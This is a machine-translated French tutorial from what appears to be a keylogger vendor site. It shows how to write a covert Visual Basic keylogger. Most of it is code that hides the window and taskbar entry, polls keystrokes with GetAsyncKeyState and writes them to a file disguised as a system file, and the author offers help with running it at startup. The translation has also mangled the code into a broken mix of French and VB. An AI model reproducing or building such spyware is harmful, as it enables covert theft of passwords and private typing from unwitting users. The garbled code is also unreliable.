This is a machine translation. The original page (in English) is available here.
Windows
Mac OS
Mobile

Dernières nouvelles: le 12 novembre 2016 - Nous avons trouvé un nouveau indétectable enregistreurs de frappe pour vous. Flux RSS

Home>Articles>la Création d'un Enregistreur de frappe en VB

AnyKeylogger pour Mac

La création d'un Enregistreur de frappe en VB

par Ombre Silencieuse

Ok...je suis en supposant que vous avez une compréhension de base de la façon dont visual basic fonctionne et comment rendre les programmes, de débogage et de compilation. Si pas, écrivez-moi et je pourrais être en mesure de vous aider.

Tout d'abord, si vous ne l'avez pas, il se. ApiGuide. Télécharger http://www.mentalis.org/agnet/apiguide.shtml

Ok. Ouvrez visual basic et de commencer une nouvelle application. Ajouter à la forme d'un bouton, d'une minuterie et d'un module(je sais que le module ne fait pas partie de la forme). C'est tout. Le changement de la légende du bouton pour Démarrer l'enregistrement
(si vous souhaitez le faire démarrer au démarrage...pm moi ou écrivez-moi)
Maintenant, en utilisant l'api guide ou tout simplement de la copie à partir d'ici, déclarer une nouvelle fonction. le GetASyncKeyState fonction

Déclarer une Fonction GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey as Long) as Integer

^---mettre ça dans la section déclarations du module.

C'est sur une seule ligne de code. Assurez-vous que l'un de ses semblables. et pas diviser en 2.

Vous avez maintenant une nouvelle fonction à utiliser dans votre programme.
ok...
maintenant, nous devons le rendre "invisible". Maintenant, je suis désolé mais dans Windows XP, je ne sais pas comment le supprimer de la section "processus" du Gestionnaire des Tâches. Mais qui d'Autre que...son invisible.

OK. Dans le code du bouton..., dans l'événement click de cours...
tapez le texte suivant

app.taskvisible = false
form1.visible = false
form1.masquer
timer1.enabled = true


"et aussi dans la section propriétés de la forme...changer le shownintaskbar à false

Maintenant, quand on clique sur le bouton...il devient invisible.

Maintenant, nous allons avoir besoin de quelques variables....
De retour dans la section de déclarations de déclarer ce qui suit...

Dim strLetter comme une Chaîne de caractères, strTotal comme une Chaîne de caractères

Maintenant dans le code timer mettre cela. Mal expliquer par la suite.
régler l'intervalle de 1 et enabled à false

Private Sub Timer1_Timer()

Pour I = 28 À 128

Si GetAsyncKeyState <> 0 Alors

strLetter = Chr(I)


"Maintenant, ici, vous pouvez ajouter certaines choses
"de sorte que, au lieu d'afficher
retardée des personnages, ça vous dit
'ce que l'utilisateur a appuyé. Ce que je veux dire
'si elles appuyez sur Entrée/Retour, il sera
"Afficher un étrange boîte. Vous ne voulez pas que
'so u faire un select case sur I pour chaque
bouton u souhaitez personnaliser. Envoyez-moi un MP ou e-Mail
moi pour obtenir de l'aide sur cette partie.


strTotal = strTotal & strLetter


Fin De Si

Ensuite, J'Ai

ouvrir "C:\Windows\SysResources.DAT" for output as #1
Print #1, strTotal
fermer #1

End Sub


"La Fin Du Code

Maintenant, tout ce que vous avez à faire est lorsque vous voulez vérifier les touches pressées, à ouvrir C:\Windows\SysResource.DAT dans le bloc-notes, et il est là. Ce programme ne s'exécute pas au démarrage. Si vous voulez savoir comment faire, envoyez-moi un MP, mais de préférence par email moi. Je préférerais de beaucoup avoir vous m'ajouter à Msn Messenger. Mon e-mail pour messenger est... [email protected]
Mon e-mail pour envoyer des mails est..... [email protected].

Espérons que cette aide!
Voici l'intégralité de codage pour les lamers...

"DÉBUT

Dim strLetter Comme une Chaîne de caractères, strTotal Comme une Chaîne de caractères, vieux comme une chaîne de caractères

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
Command1.Caption = "Démarrer Loggin"
Timer1.Enabled = False
Timer1.Intervalle = 1
End Sub

Private Sub Timer1_Timer()
Pour I = 28 À 128 'code ASCII
Si GetAsyncKeyState <> 0 Alors
strLetter = Chr(I)
Fin De Si
Si strletter <> Vieux
Vieux = strletter
strTotal = strTotal & vieux
Fin De Si
Ensuite, J'Ai
Ouvrir "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Fermer #1
End Sub

"Mettre FIN à

je pense que c'est d'ailleurs le Module de cours.
Lire l'article complet
Home>Articles>la Création d'un Enregistreur de frappe en VB
IMPORTANT! L'installation de l'ordinateur à des outils de surveillance sur les ordinateurs que vous ne possédez pas ou n'avez pas la permission de suivre peuvent violer locales, de l'état ou la loi fédérale.
Suggest translation